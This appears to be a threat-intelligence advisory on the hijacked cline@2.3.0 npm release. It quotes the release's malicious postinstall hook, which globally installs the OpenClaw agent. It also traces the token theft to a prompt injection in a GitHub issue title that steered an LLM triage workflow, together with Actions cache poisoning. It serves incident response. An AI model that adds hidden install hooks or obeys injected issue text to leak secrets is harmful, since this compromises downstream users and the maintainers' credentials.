Trapdex Subscribe

CampaignsAI plugin / MCP / skill

Cline CLI 2.3.0 npm release hijacked after prompt injection in an AI triage workflow

Do this now

  1. Find hosts that installed cline@2.3.0 and remove any unexpected global openclaw install
  2. Do not give LLM workflows that read untrusted issue or PR text access to secrets or shared caches
  3. Use OIDC trusted publishing with provenance for npm releases

Indicators to check

Look for any of these on your machines or in your logs:

  • packagecline@2.3.0

CSVJSONAll 1 indicators

What happened

A stolen npm token was used to publish cline@2.3.0, whose only change was a postinstall script that globally installs the OpenClaw agent. Cline's post-mortem traces the token theft to a prompt injection in a GitHub issue title, which steered an LLM issue-triage workflow, combined with GitHub Actions cache poisoning. About 4,000 downloads happened in the roughly eight-hour window.

  • Cline
  • OpenClaw
  • npm
  • GitHub Actions

Attack chain

  1. Lure

    Prompt injection planted in a public GitHub issue title; downstream users trusted a normal package update

    First seen

  2. Artifact

    cline@2.3.0 with postinstall 'npm install -g openclaw@latest'

  3. Actor

    No source we cite attributes this activity to an actor.

  4. Infrastructure

    • Compromised npm publisher account

    Last seen

Indicators

CSVJSON

All values are defanged (how to read them).

TypeValueCopy
packagecline@2.3.0

Confidence: Moderate

Strong evidence, not yet confirmed by our own analysis. See the confidence scale for what each level requires. The sources below are the evidence.

Sources

Corrections

No corrections.

See the corrections policy. Spotted an error? Tell us.